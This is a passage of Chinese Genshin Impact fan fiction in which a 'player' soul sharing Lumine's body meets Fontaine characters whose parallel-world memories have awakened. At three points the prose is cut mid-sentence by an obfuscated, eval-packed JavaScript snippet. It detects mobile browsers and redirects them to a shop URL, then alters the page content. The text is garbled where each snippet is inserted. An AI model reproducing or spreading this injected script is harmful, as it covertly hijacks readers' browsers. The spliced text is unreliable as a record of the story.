“太好了。”玩家握了握拳头,“你杀死深渊也没办法抹消他们。他们是过去的历史,历史是不可能被杀死的。” “——你这家伙。”旅行者把原本要说的话全部咽回肚子。 “难怪那个世界的时间那么破碎,很多剧情像是杂糅,很多死去的人被容许活着,原来是不同轮回的历史缝合在一起,搭建出一个最棒的童话。” 玩家喃喃自语,他张开手心,感受着之前从天空之主身上撕咬下的温热:“那我当时遇见的天理也是深渊幻化出来的,那就对了。” “你之前说过,我正好赶上【空】编织地脉的时间点抵达现实,可能这不是巧合,我降落在你的面前也不是巧合。”玩家好像发现了新大陆,“我们不是深渊的新危机,是【空】想让你接触的提瓦特历史。” 旅行者已行至提瓦特的每一处。 如今她还要跨越提瓦特的时间。 提瓦特的历史过于漫长,漫长到星际旅行者都可能承受不住他的重量,于是厚重的轮回以一种最戏剧的方式呈现在旅行者面前,邀她见证,邀她共情。 “还可以这么解读。”旅行者若有所思地撑住下巴。 “是的,也可以解释为什么只有特定的人攻击我才能‘灵魂互换’。”玩家也摆出思考的动作,“我本来以为这是自机角色的特殊待遇,现在想想,丝柯克、芙宁娜和那维莱特的情况可能更特殊。” 玩家在深渊杂糅的历史世界与他们相遇,玩家的记忆承载着他们不一样的冒险故事,他们能以玩家为媒介取回遗落在深渊的记忆,又会因为再次接触玩家而将那份不完全属于他们的记忆退回。 唯有玩家在深渊接触过的朋友才有这种待遇。若是换成【莱欧斯利】或是【希格雯】这类虽是自机角色却并未在深渊与玩家相遇的重要人士,所谓灵魂互换所谓觉醒记忆,在他们身上都不起作用。 “护士长给你投喂的营养餐有添加治愈的微量元素,这也可以被理解成一种攻击,但她确实没有受到深渊的反噬。”调查后的旅行者证实玩家对机制发动条件的更深层剖析是完全正确的。 “我是记忆激活器。”玩家觉得真好,他和旅行者的记忆作用不冲突,而且这个逻辑继续分析下去,所谓的灵魂互换只是互相接取另一个自己的记忆。 太好了,玩家没有花一百摩拉把【芙宁娜】卖到深渊去。 但真卖到深渊去也没什么。 玩家生活在一个很棒的提瓦特。纵然那个提瓦特是真实世界的倒影,纵然那个提瓦特浸没于深渊深处,但在这种前提下玩家能见识到命运另一种奇迹的圆满发展,不是更显得倒影世界弥足珍贵吗? 他们不会对现实世界产生危害。 甚至能为现实世界的提瓦特带来一些在天空岛秩序下命运轮回的真相。 唯有这次,深渊是旅行者的助力,就像是一面残酷的真实之镜,照映出万川的畸变,警醒她切莫让一切重蹈覆辙。 玩家在想或许这也是反主的意思。毕竟反主也是深渊王子,反主会选择与深渊为伍,绝不是拜于邪教,而是知道这股力量可以为他所用。 “往好处想,”玩家抬头看了看晴朗的天色,“这是一场或许只有你能记住的观影,我有幸能与你共赏。” 【荧】不是很高兴。 毕竟她对于倒影世界的真实情况一知半解,如今肆意的芙宁娜和勤俭的那维莱特,除了身份立场的改变之外,也和她印象里的朋友没有太大区别。 她并不能从异变中察觉惊喜与乐趣,忧心忡忡远大于作壁上观的愉悦。 更不用说,与她同坐观众席的唯有玩家,那张熟悉的脸不仅不能给旅行者带来任何安慰,反而促使她对感官共享的现状更加不爽。 “派蒙头发的触感原来是这样的。”玩家很新奇,“你能不能再捏捏她的脸?” “不可以。” “你捏捏自己的脸。” “……你要不要听听你在说什么?” “我还想去看林尼和琳妮特的魔术表演,芙宁娜没有赶上他们的表演档期。” “我忙着调查深渊,没空去,也不想带你去。” 去了。 【荧】很不高兴地坐在观众席上。就像她很不高兴地和派蒙握手,很不高兴地和自己握手。 “现场的魔术效果,好棒。”玩家坐得端正,眼睛眨也不眨地盯着前方,“喜欢。如果能有爆米花,就更喜欢了。” 【荧】恶狠狠抓了一大把爆米花。 玩家:“给派蒙分一点。两个人一起吃更有感觉。” “加上你是三个人。”【荧】忍不住吐槽这种怪异感,“认真的?你和深渊里的我很熟吧,她没有自己的派蒙吗?” 玩家:“可能有。但我不认识。而且你身边的派蒙,才是我熟悉的旅伴。” “派蒙,小心点。”旅行者幽幽道,“我体内的深渊对你蠢蠢欲动呢。” “嗯?是说小空吗?”吮吸着枫达的【派蒙】转过脸来,“没关系!这不是有旅行者在嘛,而且能全心全意享受旅行的人,不可能是坏人啦!” “是荧把我的存在告诉她的。”玩家一边吃爆米花一边看魔术表演,心情的愉悦化作实质的花花闪烁在旅行者的脑内世界,“谢谢。她对我很有好感。我也很喜欢荧。请再帮我向魔术师和魔术助手要一份签名。不需要署名。” “别得寸进尺。”【荧】指指点点,“只是比起你宏大的愿望,我更乐意满足你这些日常的心愿。” 她斜靠在椅子上托起下巴:“你也真是奇怪……” “嗯?” “没什么,表演结束了。”【荧】站起身,“先说好,只有签名,不要瞎提什么让我摸林尼脸上泪珠贴纸和琳妮特的猫耳猫尾这种笨蛋要求。” “好奇怪的要求。”玩家皱眉,“我才不会……噢,如果是你想要的话,请尽情放纵吧,只要在事后告诉他们你体内藏了一个充满坏想法的深渊魔鬼,他们会体贴地原谅你的。” “呃……旅行者,你还好吗?”【派蒙】担心地看着猛搓自己脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150957|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的【荧】。 “我很好。”【荧】笑眯眯道,“他也很好,暂时失语了。” 【派蒙】缓缓打出一个问号。 玩家面无表情坐在沙发上,碰了碰自己同样被搓红的脸,心想这时候独立掌握自己身体的重要性就体验出来了。 被找到反制手段了。 过分。明明是她先开始的。说实话还被欺负,真实不公平。 魔术表演后台,【林尼】和【琳妮特】欢迎【荧】和【派蒙】的到来。 以及【阿蕾奇诺】和【桑多涅】。 “父亲大人,木偶大人。”比起对旅行者和向导的热烈欢迎,魔术师兄妹更惊异于掌握壁炉之家的执行官第四席仆人及其尊贵同事的到来。 “来,阿蕾奇诺,你告诉我他们是谁?”【桑多涅】没有客套的心思,指着林尼和琳妮特询问【阿蕾奇诺】。 “壁炉之家的孩子。”【阿蕾奇诺】礼貌地回答,“克雷薇很喜欢他们。我也很欣赏他们的魔术技巧。” 原本满心疑惑的【林尼】和【琳妮特】直接愣在当场。 【桑多涅】继续指向同样面露惊愕的【旅行者】和【派蒙】:“他们是谁?” 【阿蕾奇诺】平静的目光移动到他们身上:“不认识。” 【派蒙】的眼睛再次瞪圆出了新高度:“等等——” 最后【桑多涅】用一种难以言喻的表情指向了自己:“来,再告诉他们,你眼中的我是谁?” 【阿蕾奇诺】的目光带上无奈,看得出【桑多涅】已经不止一次问过她这个问题,但她还是很耐心地回答了【桑多涅】的问题:“尘世执政的水神,枫丹智械的领袖,我兼职礼仪导师的教母。” “——你们听到了吗?!”【桑多涅】叫得超级大声,那声音震得在场灵魂出窍的其他人迅速回神,不约而同小鸡啄米般的点头,“我怎么就成为她的礼仪导师兼职教母了!” “为什么这三个身份中你最震惊的是最后一个啊!”【派蒙】用比【桑多涅】更加难以置信的声音叫道。 “因为只有第三个身份的离谱程度超出了我的推导范畴。”【桑多涅】轻哼一声,她单手叉腰,目光扫向众人,“她忽然变成了这样子,我只能问问她身边最亲近的家人和枫丹最家喻户晓的大英雄了,你们有什么头绪吗?” “她竟然想象过前两个可能性。”玩家在【荧】的心中发出喟叹。 【荧】额头的青筋跳了跳,很显然她正在思考为什么【阿蕾奇诺】没有接触过玩家却能中招,但是思考被玩家打断了。 “桑多涅。”佩露薇利的声音保持着平常咬字清晰、不带多余情感的腔调,“我解释过了,我的记忆受到干扰,我需要过一段时间才能恢复成你熟悉的样子,请不要带着这种状态下的我在枫丹到处行动。” “哈?把这样的你扔在原地不管才是最危险的吧。”【桑多涅】气呼呼地看着佩露薇利,“旅行者,我听说最近那维莱特和芙宁娜也遭遇了变故,你是不是知道什么——” 剧院后台的门被人再一次啪地推开。 所有人齐刷刷扭头。 “佩佩!”芙宁娜兴高采烈地登场,当着众人的面相当熟练地扑进了佩露薇利的怀里,“你从壁炉之家里出来的那一刻我就认出你啦!欢迎来到新世界。” 【桑多涅】在这一瞬间露出了被雷劈的表情,趔趄着退后了两步,连【林尼】和【琳妮特】什么时候出现在她背后抖着手扶住她都毫无察觉。 “这就是危险。”佩露薇利同样用一种非常娴熟的姿势托举住了挂在自己脖子上的芙宁娜,唇角微掀,目光在所有人的脸上短暂停留,“我的母亲时刻关注我的动态,她很擅长捉迷藏,一直能以最快的速度找到我。” 24.024 “啊……” 【桑多涅】按住眉心,肩膀慢慢放松下来,她表情缓和,站直身体,慢慢吐出一口气,在绝对安静的领域中发出智慧的叹息:“我知道了。” “我在做梦!”她斩钉截铁地说道,“一定是最近熬夜太多,大脑混淆现实与梦境,我只要回去睡一觉就好了。” 【桑多涅】转身要往外走。 搂着佩露薇利肩膀的芙宁娜挥挥手:“桑多涅,睡醒之后记得来参加我和佩佩的茶会,请柬和红茶都已经准备好了喔~” “——你们两个究竟是怎么回事!!”【桑多涅】再也不能欺骗自己了,她猛地转头死死盯住眼前陌生又熟悉的面孔,认为自己就算错饮乐斯都不可能看见如此迷幻一幕,“这种话说得好像我已经和你开过很多次茶会一样!” 芙宁娜优雅地从佩露薇利身上滑下来:“当然,我是看着桑多涅长大的,五百年来我一直和她保持着良好关系,在我成为佩佩的监护人之后,我还盛情邀请桑多涅担任她的教母。” 她走到【桑多涅】身前,捧起【桑多涅】的双手,【桑多涅】本能想把手抽回来,但她竟然抽不动,只能浑身僵硬地站在原地,看着那放大版的美貌笑嘻嘻邀请她快去睡觉。 “我才不要!”回过神来的【桑多涅】疯狂挣扎,“你是说睡一觉就会变成你和阿蕾奇诺这副蠢样吗?林尼,带着琳妮特滚远点——” 炮口怼到芙宁娜脸上。 芙宁娜笑容僵硬。 【荧】一个箭步冲上去把芙宁娜端回来塞到佩露薇利怀里,拍了拍佩露薇利示意佩露薇利把刚拿出来的镰刀收回去。 “冷静点。”【荧】平复呼吸,“我们都冷静点。” “对对对,都冷静点!旅行者你也冷静点!阿蕾奇诺的镰刀都快被你掰断了啊!”【派蒙】受惊后退,又在下一秒迅速贴近【荧】,小小的脑袋已经因为过高负荷运转而蒸汽冒泡,“听我说他们只是来自平行世界本身没有恶意——” 反倒是【派蒙】最快解释问题。 “没有恶意?”【桑多涅】嘲讽地看着芙宁娜,“听听她刚才在说什么,从阿蕾奇诺走出壁炉之家的那一刻她就知道……我当时可没在附近察觉到她的气息,来欧庇克莱歌剧院的行踪也相当隐秘,她那么快知道阿蕾奇诺的情况并且就晚我们一步赶到剧院后台,谁知道这个鸠占鹊巢的冒牌货是不是在枫丹布满了她的眼线!” “你错了,桑多涅。”芙宁娜余光注视厄月血火在佩露薇利掌心消散,这才放心与【桑多涅】继续交谈,“不只是枫丹,我的眼线遍布提瓦特,而在水的国度,那维莱特就是我最大的眼线。” 她声音如泉水般悦耳:“正巧,旅行者带走了我的玩伴,我只能在那维莱特的办公室里打发时间。” 【荧】觉得太阳穴更痛了。 “没想到那位水龙王也这么没用。”【桑多涅】此时的强调与其说是讽刺,不如说是束手无策的哀恸,她咬牙盯着旅行者的脸,没有询问作为枫丹最高战力的那维莱特的情况,“旅行者,你该给我一个合理的解释。” “她生气起来好可怕,我是不是真的做得有些过分……呃。”玩家目光呆滞地与在场所有人对视,原本靠得极近的派蒙本能与他拉开距离,而对面机械人偶的猫眼在这一刻收缩成杀人的针线,“抱歉,我本来没打算说出来的。” 玩家慢慢放下捂在脸上的手。 “情况有一点点复杂。”玩家嘀咕,“请放心,这是暂时的,这不是我们的世界,我们会乖乖回去的,没有任何人会受到伤害,我们可以帮忙提供另一个视角下的提瓦特线索……唔。” 玩家嚼着芙宁娜塞的糖。 “多见识见识我们的另一面,不好吗?”芙宁娜从容不迫地接过玩家话茬,把那满怀歉意的自白扭转成连旅行者都已经沦陷的戏谑开场,“听着,桑多涅,我和佩佩可没有被来自深渊的脏东西上身,珍惜这份来之不易的惊喜吧——” 芙宁娜用指尖点着【桑多涅】的肌肤:“你会是蛋糕上的王冠,那份最棒的惊喜。” “把你的手拿远点。”【桑多涅】果断和芙宁娜拉开距离,她拽走一直努力降低存在感的魔术师兄妹,临行前的视线冰冷而隐忍,“我认识的那些家伙一个比一个愚蠢且令人厌烦,但也不是你们可以随意取代的。” 她消失在了后台。 芙宁娜双手合十:“搞定!” “哪来的搞定。”【荧】表示质疑,她嘎吱嘎吱咬着棒棒糖,表情不虞,“桑多涅明显是较真了,较真有趣,但高压状态下的较真就让人良心备受谴责。” “呃,旅行者?”【派蒙】目光迟疑,慢慢靠近。 “哎——”芙宁娜意识到身体的掌控权再度落到【荧】手中,拖长声音看来,“我还以为你会吝啬到一直保留身体的独家操作权。” “这本来就是我的身体,芙宁娜。”【荧】没好气地说道,“刚才让空……呵,刚才让他代管,是我暂时想通了一件事。” 【荧】瞥了一眼佩露薇利:“你不可能在这么短的时间内把眼线抛洒到整个提瓦特。但我认识的芙宁娜可以。纯水精灵分布世界各地,而她很少用到她们……或许你们是对的。” 她单手搭在胸脯上,语气赤诚:“这是让我了解到我熟悉朋友另一面的绝佳机会。” “很好,你总算是一位合格的观众了。”芙宁娜对此也很满意,“如果让空吃完我的糖再退场就更好了。” “没关系,我共享着你的味觉,这省去了我用舌头舔舐用牙齿啃咬的力气。”玩家让【荧】帮忙传达自己的声音,“请告诉芙宁娜,我很高兴你比我更擅长处理刚才的突发情况,我之后也会注意,不要过多解释,这很扫兴。” 后台并不是适合闲聊的场景。 旅行者在转移阵地的过程中询问佩露薇利来到平行世界的契机。 玩家得知当他的灵魂栽种在旅行者体内时,记忆以旅行者为媒介播种至地脉,影响提瓦特与他有过相逢的所有存在。 “你是我的增幅器。”玩家得出结论,“之前有明确的记忆启动机制,现在就是记忆随机掉落。” 玩家观察佩露薇利。难怪她的变化来得毫无预兆。 但佩露薇利会这么快露出破绽,事发突然只是其中最微不足道的理由。 她能轻车熟路带他们从剧院后台离开,能找到最不引人注目的小道进入壁炉之家,能在回到据点之后得到下属恭敬问候的同时游刃有余地回答——这一切都表明她在主动暴露前已经在枫丹生活过一段时间,她对很多事都了如指掌。 “那佩佩——咳咳,我是说阿蕾奇诺,那你忽然在桑多涅面前暴露自己的破绽是什么原因啊?”【派蒙】听芙宁娜叫佩露薇利叫多了,险些被带歪称呼,好在这时候【派蒙】可能才是唯一一个正经问问题的人,所以佩露薇利解答得很耐心。 情绪起伏有利于响应地脉记忆。 佩露薇利已经权衡过身份暴露与否的利弊,坦白并不会给她带来任何实质性的损失,与之相对的,好处众多。 她能为旅行者揭开世界真实的一角,能与芙宁娜以亲近平等的关系正常相处。而事实证明确实如此。 如今的佩露薇利不仅能光明正大出入沫芒宫,并且能有充分的理由公开收集枫丹情报,邀请【林尼】做好接任壁炉之家下一任父亲大人的准备。 “她是不是假装获得新记忆,要借着找个机会渗透枫丹?”玩家在高处盯紧佩露薇利。 “没有的事。”旅行者还以为玩家在他的世界和任一重要角色都关系不错,没想到玩家还会提防佩露薇利,“她确实不是我认识的阿蕾奇诺。” 芙宁娜和那维莱特有分寸。知道这是异世界。不会让愚人众有可乘之机。佩露薇利做这些事也不是为了愚人众立场,重点在她最后一句话上。 “让林尼来接手壁炉之家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156688|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”旅行者跟玩家解释用意,“或许是愚人众也做好了决战高天的准备,阿蕾奇诺正好借着这个机会,帮助孩子们习惯未来可能没有她的家。” 孩子们总该学着长大。【林尼】是合格的兄长,也必定会成为合格的父亲。佩露薇利并不掩饰她对【林尼】的看重。 现在那孩子对她有些误会也不要紧。佩露薇利倒是认为【林尼】在如今这种不把她当【阿蕾奇诺】却不得不服从于她命令的高压状况下,学习的动力更强。 “晚上去敲林尼的窗户。最好叫上琳妮特。还有菲米尼。”玩家掰着手指点着林尼最亲昵的妹妹与弟弟,“他需要心理疏导和安慰。” “我会的。”【荧】点头,却也没忘记提醒玩家,如今【林尼】的眼中【荧】和【阿蕾奇诺】一样都已成为被深渊侵蚀的异种,她的安慰难以奏效,佩露薇利也会比玩家和她更挂心孩子们的精神健康。 “我还记得你没有拿到你想要的签名。”【荧】说道。 她站在枫丹的悬崖上眺望湛蓝的天空与无边的海域。 在佩露薇利的出场暂时告一段落之后,【荧】又带着玩家去了很多地方。 主要是见玩家在游戏剧情里结缘在现实世界里却并未结识的朋友们。 “叫他「空」?就好。”【荧】已经能用这个名字熟练地介绍玩家。 玩家曾对此诧异惶恐,但【荧】说他都理直气壮用了这名字这么多年,别扮可怜,她也想不到能用什么其他名字来称呼玩家。至于暴露她体内有一个和哥哥长得一模一样的深渊存在? 那维莱特、芙宁娜和佩露薇利都光明正大公开了他们的异常,【荧】如今表露的她可以控制玩家的现状,反而更能安定人心。 【夏洛蒂】是他们第一个拜访的朋友。这位蒸汽鸟报的记者在采访前向玩家展示了她最近收集到的情报,在采访中尽职尽责地用专业能力忠实而公正地记录一切,在采访后她整理着那些珍贵的信息,轻笑着让他们放心枫丹的舆情。 “没想到我也能享受一把明星待遇。”【夏洛蒂】回应玩家想要和她握手的期待,她薄荷绿的眼睛倒映出【荧】与以往相比微妙不同的脸,调笑道,“我记得你刚才说我和克雷薇长得有点像,或许我可以利用这个情报去让壁炉之家的话事人接受我的专访。” 拜访【克洛琳德】的时候她正和【莱欧斯利】一起商讨要事。这位决斗代理人客观评价她直系上司大刀阔斧改革枫丹执法流程的做法在短时间内就卓有成效,没有人能拒绝和那些烦琐冗余的制度弊端说拜拜,也没有人能拒绝那维莱特那双比往日更具非人感的竖直兽瞳。 【莱欧斯利】耸肩表示这种改革确实是好事,但他希望他认识的【那维莱特】能早一点回来,因为如今这个不懂人类礼仪的最高审判官不知跟谁学的坏习惯,和刚上岸的美露莘一样来者不拒人类的投喂,他甚至在街上小口撕咬纯白铃兰的花瓣,【莱欧斯利】在那个送花的崇拜者的眼睛从震惊变得害羞再到跃跃欲试之前,把那维莱特推走了。 “我告诉他法律除了要保留‘禁止给宠物取名芙宁娜’之外,还要新增一条‘禁止投喂野生那维莱特’。”【莱欧斯利】叹了一口气,“我不敢相信我认识的那维莱特回来之后看到这一幕,枫丹会不会下特大暴雨。” 【莱欧斯利】默默看向疑似带坏水龙的罪魁祸首:“我很高兴现在的那维莱特也对人类如此宽容,但他什么时候能康复?我实在是难以接受他让我继任枫丹廷的最高审判官、他去梅洛彼得堡看守原始胎海的打算。” “这是玩笑,对吧?”【莱欧斯利】看向玩家的目光很是沉重。 “我想吃纯白铃兰的花瓣。”玩家期待【荧】能帮他尝试新食谱。 “你弥补了我没有一门倒霉亲戚的遗憾。”【荧】保持皮笑肉不笑的亲切笑容,“我希望你能知道,他是在问你。不是让我回答这个难缠的问题,还要回应你给自己加餐的需求。” 25.025 原来是在问玩家问题。 玩家了然点头,让【荧】帮忙转告【莱欧斯利】,那维莱特很少开玩笑,鉴于他最近表现出来的勤勉态度,可能是想着在临走前整顿梅洛彼得堡。 【莱欧斯利】作为梅洛彼得堡的现任公爵,有他在,那维莱特不好发挥。 【荧】认可玩家这种看法的合理性,但如实转达这种话,总觉得是在给本来就哭笑不得的【莱欧斯利】火上浇油,所以换了种说法。 “可能是已经连续工作五百年,想借着这个机会退休吧。”【荧】说道。 这个回答没有比玩家的说辞好到哪里去。但是玩家记起在宫殿后山悠闲钓鱼的摩拉克斯——已经光荣退休的岩之执政,七神之中唯一被传本体是龙形的神祇——玩家笃定那维莱特要是准备退休,那一定是被摩拉克斯带好的。 这句话被【荧】听在耳里,让她感到异常荒诞。 她都没来得及接受另一个世界的【桑多涅】是水神,如今又听说了七神中最深不可测的岩神住在至冬宫殿。 “那是执行官与神明互换身份的世界线。”玩家说道,“很神奇吧?” “世界末日……”【派蒙】听完心都死了,【荧】有人分担这份惊悚,情绪才没有那么极端。 她本来想安慰自己说深渊搞出什么镜花水月都不稀奇,但一想到玩家所在的深渊其实是提瓦特被抹去的历史,是曾经真实发生在这片大陆上的故事,一时半会儿什么话都不太方便说了。 【荧】去海滩边吹风冷静。 【派蒙】率先看到了浮出海面的【菲米尼】,这位同样归属于壁炉之家的孩子已经从他的哥哥姐姐那里得到不幸的消息,对待他们的态度明显比以往局促。 “想摸摸他的潜水头盔。”玩家又在用那种欣赏的目光注视他仍能记得名字和身份信息的自机角色,“如果可以,还想和枫丹最优秀的潜水员一起探索海底。” 【荧】吐出一口浊气。 【派蒙】赶在【菲米尼】消失在海面之前拦住他,【荧】过来与他搭话,【菲米尼】的肩膀慢慢放松。 “嗯,不止陆地,走水路也是一样。靠近边界线的水域多出许多暗流。很危险。不能靠近。”【菲米尼】垂着脑袋轻声补充,“如果旅行者需要探索,请一定小心,有用的上我的地方,我会尽力帮忙。” 【菲米尼】为【荧】提供他重新标记的新地图。 玩家的呼吸放缓。 他看着那打上详细标记的手绘地图,很难想象在他和芙宁娜、和旅行者到处打卡期间,已经有人走遍枫丹的所有水域。 “不要说这种话。”【荧】在心里轻轻敲打玩家,“那维莱特司法,芙宁娜搜集情报,克洛琳德和莱欧斯利处理公务,林尼和琳妮特动员壁炉之家,阿蕾奇诺去配合丝柯克处理深渊,就连派蒙……嗯,你就珍惜我们替你忙碌的难得假期吧。” 【荧】谢过【菲米尼】提供的重要线索,摸了摸他的头盔和发条企鹅,这不同于以往的晦涩举动让【菲米尼】微微低头,隔空对上玩家的视线。 “他叫什么?” “空。”旅行者熟练介绍。 “嗯……空。”【菲米尼】轻轻叫着玩家的名字,他把玩家和深渊怪物区分开的速度比这个世界的任何人都要快,“你在我不知道的时候已经认识我很久了。” “谢谢。初次见面,我是菲米尼。很高兴认识你。” 玩家近距离观察自机角色的思维中断。他在沉默中慢半拍地反应过来刚才【菲米尼】说了什么。 “——童话书里只能困在黑暗城堡里的黑龙终于来到现实见到了他在书中认识的朋友。”离去的时候【派蒙】在嘀嘀咕咕,“这个设定和杜林有点儿像哎?” 他们认识的【杜林】——并非以雪山为墓茔的魔龙,是诞生于魔女童话故事、挣脱出原有魔龙命运的幼龙——也是从书中来到现实重新开始新旅途的。 区别仅在于【杜林】生活的童话书中可能没有能完全对应现实的朋友。 “为什么到现在‘黑龙’这个名号还在追我。”玩家已经快到懒得纠正自己种族的程度,他在【菲米尼】面前也确实没有出声反驳,但原因主要是他喜欢【菲米尼】别开生面的比喻。 玩家更喜欢【菲米尼】愿意把他当素未谋面的朋友对待的态度。 【派蒙】敏锐抓住了重点,大声表示玩家别不把她和旅行者当朋友啊。不说【荧】,【派蒙】可是比【菲米尼】更早地认可深渊背景的玩家! “那不一样。”玩家说得含糊,“你是因为荧才爱屋及乌,菲米尼比较纯粹,因为童话对我爱屋及乌。” “这不是差不多——” “好啦,沿着这条河流走,我们等会儿去白淞镇找娜维娅逛灰河。”旅行者捂住向导的嘴,“之后找夏沃蕾和艾梅莉埃聊聊最近特巡队的案子,晚上就去德波大饭店找爱可菲加餐~” 玩家表示期待。 他很高兴旅行者已经安排好了行程,不多时他就可以在这个世界完成和所有自机角色的会面。这没什么意义。但见到熟人比见到熟悉的风景更有趣。 “再怎么有趣,也比不上你用你自己的眼睛亲自去感受这一切。”【荧】在深夜靠近枫丹融入雾色的浅滩,“在那个房间坐着一动不动不累人吗?” 她抱起双臂,摇头,语气恨铁不成钢:“看起来你比起自己去旅行更喜欢待在故事之外去审阅别人的故事。” 玩家那是束手无策。 谁知道发生了什么,他的灵魂被藏进了异空间,真说起来,还是【荧】率先开启感官共享的锅。 【荧】才不认,要追究责任,首先追究深渊,其次追究芙宁娜。 【荧】让玩家打开他佩戴的游戏耳机检查任务面板进度。 玩家打出一个问号。他不记得自己有和任何人提及“任务面板”这一名词,但他对自己的记忆毫无自信,所以迟疑着照【荧】的想法操作。 【世界任务】嘲弄命运的资格:枫丹?命运,已收录。 “恭喜,你的记忆开始承载神祇和执行官之外的重量。”命定的神之眼持有者已和玩家产生重要羁绊,玩家能保留这份珍贵的记忆,在深渊的虚假之天中填 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170740|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充这些相逢之人的命运。 “什么意思。”玩家询问。 “你可以把这些天的所见所闻带回你降临的世界。”旅行者回答,“你接触神之眼持有者的记忆对你的世界至关重要,就像我的记忆可以协助「命运的织机」编织地脉。” 真相有迹可循。 芙宁娜说她活到坎瑞亚灭国的五百年以后,那个时间点旅行者本该醒来开始她的旅程,可佩露薇利又亲口承认她不认识旅行者,再联系起那个世界是历史,而「现在」很难被称作「历史」,旅行者猜测深渊古国的时间轴断裂。 芙宁娜等人的到来除了给现实世界带来更多线索,还有一点,就是让玩家好好记录现实世界的一切,将现实世界的真实带回深渊,将那已经自成世界的古国成功延续下去。 玩家认知里的自机角色,大部分都是神之眼持有者,少部分没有神之眼的,也掌握着类似的力量,这些力量是愿望强烈者的馈赠或勋章,而愿望,在提瓦特、在深渊,都是足够强大的概念。 所以玩家接触自机角色,以自身为锚点与他们建立新的联系,能用记忆承载他们愿望或执念的分量,让这份愿望与执念的聚合,成就延续古国命运的基石。 当然,由于记忆很容易褪色,所以需要用到玩家耳朵上佩戴的类似虚空终端的游戏主机存储记录。 【荧】为什么能知道玩家的游戏面板又是另外一回事了。 她这段时间相当于与深渊同在,除了脑子里多了一个寄生的灵魂之外,还有陌生又熟悉的记忆时不时翻滚出来,导致她时不时断片一两秒,好在玩家足够好忽悠,至今没发现旅行者会随机下线,平日里更是规矩地午休早睡,也给足旅行者隐私和自由时间。 “那你不能告诉我。”玩家说道,“要是我在睡觉时间忽然上线怎么办?” “首先我能感知到你什么时候睡觉什么时候不睡觉;其次,”【荧】远眺天空与海洋的交界线,“我可以相信一个会把童话书中的朋友当成现实里的朋友一样对待的笨龙。” 为什么连旅行者也用这个种族指代玩家?玩家后知后觉他还没有询问旅行者新获得的记忆。 “那也不完全是我的记忆……”旅行者摇头,“我得到一些哥哥的记忆。似乎是他收集起这些失落的历史藏在深渊,杂糅出一个倒影世界,我不知道这是否是他改造现实地脉的模拟测试,那些记忆就和猎月人一样碎……” 她按住因为过度筛选导致作痛的太阳穴:“我看到你的降生,那时候哥哥和坎瑞亚的黑王站在一起,原来你从那一刻起就和哥哥和我有千丝万缕的关系……” 玩家打断了明显不适的旅行者:“我对世界强加给我的设定不感兴趣。你过一百年再告诉我也没关系。我不着急。” 旅行者说用不着一百年。深渊本影响不到她,但玩家困在她的身体里,深渊一直在如影随形,按这种温水煮青蛙的模式徐徐图之,只要旅行者重新走遍七国和各个朋友叙叙旧,就能自动拾取她想要看见的所有真相。 “下一站去哪里?”旅行者指了两个方向,“须弥?纳塔?” 26.026 去不了。 玩家说枫丹的剧情没结束。 他收获了和【菲米尼】他们相处的新鲜记忆,那只能说玩家在枫丹的任务做完了,但是旅行者和深渊的目的还没达成。 深渊要重新编纂地脉。 旅行者要推翻天空岛。 如今枫丹的命运还未尘埃落定,在此方世界真正找到合理的现实之前,没有人能离开这个被封锁的国度。 “所以我打算先把你送走。”【荧】摊开手,“你先回深渊,然后在深渊里打开缺口,前往下一个国度,我之后带着派蒙跟你过去。” “你找到让我回去的办法了?” “现在不知道,我会去问芙宁娜,现在先跟你说开。”【荧】继续踩着枫丹的边界线行走,“我等不到枫丹的封锁自动解除的那一刻。我只有通过你才能跳跃到另一个国度。” “枫丹能正常进出的时候,也是其他尘世执政国能正常进出的时候。”玩家反应过来,“那时候一切都尘埃落定了。” “是啊,我也是很贪心的,我要参与编织七国的新命运,而不仅仅只有枫丹。我哥本来可能连枫丹的机会都不打算给我呢。”【荧】微笑着,她那时候险些跟着【丝柯克】去深渊打怪,按正常发展,她去古国搜集记忆,玩家来现实世界见证,直至地脉编织结束。 玩家能为他的世界带去延续未来的记忆,【荧】能带着对深渊与提瓦特的深刻认识去迎战天空。 都是好事。但那样【荧】会错过命运的织机编纂提瓦特现实的所有过程。等她从深渊回到提瓦特之后,呈现在她面前的就是【空】展现的完美世界。七国仍是旅行者熟悉的样子,还多了一个一直存在于提瓦特的坎瑞亚。 玩家没噤声。他意识到【荧】在和【空】并肩作战迎接天理之前,这两人可能还要打一架,为各自期待的提瓦特。 “嗯,我没什么意见。”玩家说道,“只要我能回到深渊,并且能带着你回去,我很乐意作为你的旅伴陪你逛遍七国。这也是为了我的世界。” 【荧】找上芙宁娜。 